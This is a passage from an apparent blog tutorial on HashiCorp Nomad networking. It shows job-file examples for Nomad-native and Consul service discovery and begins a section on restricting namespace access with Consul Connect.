<span class="giallo-l"><span>NOMAD_NAMESPACE</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">u</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">t</span></span>
<span class="giallo-l"><span>NOMAD_ALLOC_INDEX</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>NOMAD_ALLOC_DIR</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">c</span></span>
<span class="giallo-l"><span>NOMAD_JOB_NAME</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span></span>
<span class="giallo-l"><span>NOMAD_HOST_IP_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">1</span></span>
<span class="giallo-l"><span>NOMAD_SHORT_ALLOC_ID</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">9</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span></span>
<span class="giallo-l"><span>NOMAD_DC</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">1</span></span>
<span class="giallo-l"><span>NOMAD_ALLOC_NAME</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">h</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">[</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span>]</span></span>
<span class="giallo-l"><span>NOMAD_PORT_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>NOMAD_GROUP_NAME</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);">p</span></span>
<span class="giallo-l"><span>NOMAD_PARENT_CGROUP</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">n</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">m</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">s</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">i</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">e</span></span>
<span class="giallo-l"><span>NOMAD_TASK_DIR</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">/</span><span style="color: light-dark(#032F62, #96D0FF);">l</span><span style="color: light-dark(#032F62, #96D0FF);">o</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">l</span></span>
<span class="giallo-l"><span>NOMAD_HOST_PORT_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>NOMAD_MEMORY_LIMIT</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span></span>
<span class="giallo-l"><span>NOMAD_ADDR_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>NOMAD_ALLOC_PORT_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span>
<span class="giallo-l"><span>NOMAD_ALLOC_ID</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">9</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">a</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">9</span><span style="color: light-dark(#032F62, #96D0FF);">4</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">-</span><span style="color: light-dark(#032F62, #96D0FF);">6</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">e</span><span style="color: light-dark(#032F62, #96D0FF);">f</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">5</span><span style="color: light-dark(#032F62, #96D0FF);">3</span><span style="color: light-dark(#032F62, #96D0FF);">b</span><span style="color: light-dark(#032F62, #96D0FF);">9</span></span>
<span class="giallo-l"><span>NOMAD_HOST_ADDR_app</span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">2</span><span style="color: light-dark(#032F62, #96D0FF);">7</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">.</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span><span style="color: light-dark(#032F62, #96D0FF);">8</span><span style="color: light-dark(#032F62, #96D0FF);">0</span></span></code></pre><h3 id="service-discovery">Service Discovery<a class="zola-anchor" href="#service-discovery" aria-label="Anchor link for: service-discovery">#</a></h3>
<p>This is where things get interesting. The <code>app</code> group needs to <em>discover</em> <code>redis</code> before connecting to it. There are multiple ways to do that, but we’ll cover 2 standard ways which are more common.</p>
<h3 id="using-nomad-native-service-discovery">Using Nomad native service discovery<a class="zola-anchor" href="#using-nomad-native-service-discovery" aria-label="Anchor link for: using-nomad-native-service-discovery">#</a></h3>
<p><img src="https://mrkaran.dev/images/nomad_networking_inter_group_native.png" alt="image" /></p>
<p>This is a feature launched in Nomad 1.3. Up until this release, Nomad had to rely on Consul for this. But with native service discovery built in Nomad, things are much simpler. Let’s make the following changes to our job file. In each group, we’ll add a <code>service</code> definition:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 8080</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    service</span><span> {</span></span>
<span class="giallo-l"><span>      name</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      provider</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      port</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    //</span><span style="color: light-dark(#6A737D, #768390);"> task is the same</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  group</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>    count</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">host</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    service</span><span> {</span></span>
<span class="giallo-l"><span>      name</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      provider</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      port</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redis</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    //</span><span style="color: light-dark(#6A737D, #768390);"> task is the same</span></span>
<span class="giallo-l"><span>  }</span></span></code></pre>
<p>So, we added a new <code>service</code> block and got rid of <code>static</code> ports. Well, there’s no need to bind to static ports when we’re using service discovery.</p>
<p>After submitting the job, we can use the <code>nomad service list</code> command to ensure the services are registered with Nomad.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> list</span><span>    </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Service</span><span style="color: light-dark(#032F62, #96D0FF);"> Name</span><span style="color: light-dark(#032F62, #96D0FF);">  Tags</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">app</span><span>           [</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis</span><span>         [</span><span>]</span></span></code></pre>
<p>To find out details about a particular service, we can use <code>nomad service info</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> info</span><span style="color: light-dark(#032F62, #96D0FF);"> app</span><span>      </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Job</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">  Address</span><span style="color: light-dark(#032F62, #96D0FF);">          Tags</span><span style="color: light-dark(#032F62, #96D0FF);">  Node</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">   Alloc</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">hello</span><span style="color: light-dark(#032F62, #96D0FF);">   127.0.0.1:29948</span><span>  [</span><span>]    d92224a5  5f2ac51f</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> nomad</span><span style="color: light-dark(#032F62, #96D0FF);"> service</span><span style="color: light-dark(#032F62, #96D0FF);"> info</span><span style="color: light-dark(#032F62, #96D0FF);"> redis</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Job</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">  Address</span><span style="color: light-dark(#032F62, #96D0FF);">          Tags</span><span style="color: light-dark(#032F62, #96D0FF);">  Node</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span><span style="color: light-dark(#032F62, #96D0FF);">   Alloc</span><span style="color: light-dark(#032F62, #96D0FF);"> ID</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">hello</span><span style="color: light-dark(#032F62, #96D0FF);">   127.0.0.1:22300</span><span>  [</span><span>]    d92224a5  8078c9a6</span></span></code></pre>
<p>Perfect! We can see the dynamic port assignment in each of the services. To use this config in our app, we will template it:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      template</span><span> {</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#D73A49, #F47067);">EOH</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{ range nomadService &quot;redis&quot; }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">DEMO_REDIS_ADDR={{ .Address }}:{{ .Port }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{ end }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">EOH</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>        destination</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">secrets/config.env</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        env</span><span style="color: light-dark(#D73A49, #F47067);">         =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      config</span><span> {</span></span>
<span class="giallo-l"><span>        image</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">mrkaran/hello-app:1.0.0</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>        ports</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      resources</span><span> {</span></span>
<span class="giallo-l"><span>        cores</span><span style="color: light-dark(#D73A49, #F47067);">  =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1</span></span>
<span class="giallo-l"><span>        memory</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 512</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span></code></pre>
<p>We added the <code>template</code> stanza which will interpolate the env variables in the container. We loop over <code>nomadService</code> and get the address and port of the <code>redis</code> service. This makes it convenient for tasks on other nodes to discover each other.</p>
<h3 id="using-consul-service-discovery">Using Consul Service Discovery<a class="zola-anchor" href="#using-consul-service-discovery" aria-label="Anchor link for: using-consul-service-discovery">#</a></h3>
<p><img src="https://mrkaran.dev/images/nomad_networking_inter_group_consul.png" alt="image" /></p>
<p>Just by tweaking <code>provider</code> in our <code>service</code> block, we can use the Consul agent for service discovery.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    service</span><span> {</span></span>
<span class="giallo-l"><span>      name</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      provider</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">consul</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>      port</span><span style="color: light-dark(#D73A49, #F47067);">     =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    }</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>      driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">docker</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      template</span><span> {</span></span>
<span class="giallo-l"><span>        data</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;&lt;</span><span style="color: light-dark(#D73A49, #F47067);">EOH</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{ range service &quot;redis&quot; }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">DEMO_REDIS_ADDR={{ .Address }}:{{ .Port }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">{{ end }}</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">EOH</span></span></code></pre><p class="ad-info">
Ensure that you're running Consul and have connected Nomad to it. Please refer to <a href="https://www.nomadproject.io/docs/integrations/consul-integration">docs</a> for the same.
</p>
<p>Since now we are using <code>consul</code> for registering services, we have to loop over <code>service</code> instead of <code>nomadService</code>. The rest of the things remain pretty much the same. I really like how with just 2 lines of code you can switch between Nomad/Consul for discovering services.</p>
<p>Now, of course, there are certain <strong>advantages</strong> to using Consul:</p>
<ul>
<li>You can query the address of the service with DNS:</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">doggo</span><span style="color: light-dark(#032F62, #96D0FF);"> redis.service.consul</span><span style="color: light-dark(#032F62, #96D0FF);"> @tcp://127.0.0.1:8600</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">NAME</span><span style="color: light-dark(#032F62, #96D0FF);">                    TYPE</span><span style="color: light-dark(#032F62, #96D0FF);">    CLASS</span><span style="color: light-dark(#032F62, #96D0FF);">   TTL</span><span style="color: light-dark(#032F62, #96D0FF);"> ADDRESS</span><span style="color: light-dark(#032F62, #96D0FF);">     NAMESERVER</span><span>     </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">redis.service.consul.</span><span style="color: light-dark(#032F62, #96D0FF);">   A</span><span style="color: light-dark(#032F62, #96D0FF);">       IN</span><span style="color: light-dark(#032F62, #96D0FF);">      0s</span><span style="color: light-dark(#005CC5, #6CB6FF);">  172.20.10.3</span><span style="color: light-dark(#032F62, #96D0FF);"> 127.0.0.1:8600</span><span>  </span></span></code></pre>
<ul>
<li>Define health checks. Since it’s a new feature, health checks on Nomad service aren’t there but there’s a <a rel="external" href="https://github.com/hashicorp/nomad/issues/12576">GitHub issue</a> open for the same.</li>
</ul>
<blockquote>
<p><strong>Update (2024)</strong>: Native health checks are now available in Nomad since version 1.4 (released October 2022). This means you can define health checks directly in your Nomad service definitions without requiring Consul. You can read more about this in the <a rel="external" href="https://developer.hashicorp.com/nomad/docs/job-specification/service#check">Nomad documentation</a>.</p>
</blockquote>
<ul>
<li>Accessible by applications outside Nomad. In case <code>consul</code> is used by other applications outside of the Nomad cluster, they can still get their address (using DNS or REST APIs)</li>
</ul>
<p>However, Nomad native service discovery is perfect for local setups and even smaller use-cases in production because it eliminates the need of running Consul in your stack which is a big thing!</p>
<h2 id="scenario-4-restricting-access-to-certain-namespaces">Scenario 4: Restricting access to certain namespaces<a class="zola-anchor" href="#scenario-4-restricting-access-to-certain-namespaces" aria-label="Anchor link for: scenario-4-restricting-access-to-certain-namespaces">#</a></h2>
<p><img src="https://mrkaran.dev/images/nomad_networking_consul_connect.png" alt="image" /></p>
<p>In all the above scenarios, we found that the service gets exposed to the local Nomad client. In case you’re running multiple namespaces on your cluster, you’d like to not expose them at all. In addition, you may want to express fine-grained controls on which application can access a particular service. All of this is possible via a <strong>Service Mesh</strong>. Nomad provides a way to have a “service mesh” via Consul Connect. Consul Connect can do mTLS and service authorization. Under the hood, it’s an Envoy proxy that runs alongside your app (sidecar is a fancy way to say that). The <code>consul</code> agent configures an Envoy configuration for you so it’s all pretty seamless.</p>
<p>For this to work, the first thing we need is a <code>bridge</code> network mode. This network model is actually a CNI plugin and needs to be installed separately in <code>/opt/cni/bin</code>. Follow the steps mentioned <a rel="external" href="https://www.nomadproject.io/docs/integrations/consul-connect">here</a>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    network</span><span> {</span></span>
<span class="giallo-l"><span>      mode</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">bridge</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      port</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;redis&quot;</span><span> {</span></span>
<span class="giallo-l"><span>        to</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 6379</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    }</span></span></code></pre>
<p>The service in <code>redis</code> is called as a <em>Consul Connect Ingress</em>:</p>
